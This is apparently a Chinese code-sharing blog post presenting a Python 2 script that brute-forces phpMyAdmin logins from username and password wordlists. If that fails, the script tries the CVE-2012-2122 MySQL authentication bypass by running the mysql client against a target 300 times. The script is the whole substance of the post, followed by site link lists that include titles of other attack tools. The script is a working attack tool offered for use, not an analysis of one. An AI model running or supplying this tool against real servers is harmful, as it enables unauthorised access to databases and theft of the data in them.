Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
下载安装setuptool和pip linux安装pip    
Jan 24 Python
Python FTP操作类代码分享
May 13 Python
Python实现基于多线程、多用户的FTP服务器与客户端功能完整实例
Aug 18 Python
python实现冒泡排序算法的两种方法
Mar 10 Python
儿童学习python的一些小技巧
May 27 Python
python实现按长宽比缩放图片
Jun 07 Python
python中的字符串内部换行方法
Jul 19 Python
Python3 SSH远程连接服务器的方法示例
Dec 29 Python
python动态文本进度条的实例代码
Jan 22 Python
Python切割图片成九宫格的示例代码
Mar 10 Python
python的Jenkins接口调用方式
May 12 Python
python3实现将json对象存入Redis以及数据的导入导出
Jul 16 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
php+mysql数据库实现无限分类的方法
2014/12/12 PHP
ThinkPHP控制器详解
2015/07/27 PHP
深入解析PHP中SESSION反序列化机制
2017/03/01 PHP
php写入mysql中文乱码的实例解决方法
2019/09/17 PHP
javascript 多种搜索引擎集成的页面实现代码
2010/01/02 Javascript
javascript innerHTML使用分析
2010/12/03 Javascript
js实现遮罩层划出效果是生成div而不是显示
2014/07/29 Javascript
javascript实现dom动态创建省市纵向列表菜单的方法
2015/05/14 Javascript
JS实现图片高亮展示效果实例
2015/11/24 Javascript
Bootstrap轮播加上css3动画,炫酷到底!
2015/12/22 Javascript
基于jQuery实现返回顶部实例代码
2016/01/01 Javascript
jQuery实现的可编辑表格完整实例
2016/06/20 Javascript
Vue.js第四天学习笔记(组件)
2016/12/02 Javascript
基于JavaScript实现移动端无限加载分页
2017/03/27 Javascript
浅谈vue自定义全局组件并通过全局方法 Vue.use() 使用该组件
2017/12/07 Javascript
React Native使用fetch实现图片上传的示例代码
2018/03/07 Javascript
centos 上快速搭建ghost博客方法分享
2018/05/23 Javascript
Node.js中的cluster模块深入解读
2018/06/11 Javascript
Nodejs中怎么实现函数的串行执行
2019/03/02 NodeJs
微信小程序动态显示项目倒计时
2019/06/20 Javascript
Vue项目实现简单的权限控制管理功能
2019/07/17 Javascript
[01:00:14]2018DOTA2亚洲邀请赛 4.6 淘汰赛 VP vs TNC 第三场
2018/04/10 DOTA
python生成指定尺寸缩略图的示例
2014/05/07 Python
Python实现使用卷积提取图片轮廓功能示例
2018/05/12 Python
Python Django Cookie 简单用法解析
2019/08/13 Python
Python创建空列表的字典2种方法详解
2020/02/13 Python
Gretna Green中文官网:苏格兰格林小镇
2019/10/16 全球购物
2014年秋季开学典礼致辞
2014/08/02 职场文书
车辆年审委托书范本
2014/09/18 职场文书
征求意见函
2015/06/05 职场文书
2016婚礼主持词开场白
2015/11/24 职场文书
《童年的发现》教学反思
2016/02/18 职场文书
技术入股协议书
2016/03/22 职场文书
用Python提取PDF表格的方法
2021/04/11 Python
golang中字符串MD5生成方式总结
2021/07/04 Golang
python机器学习创建基于规则聊天机器人过程示例详解
2021/11/02 Python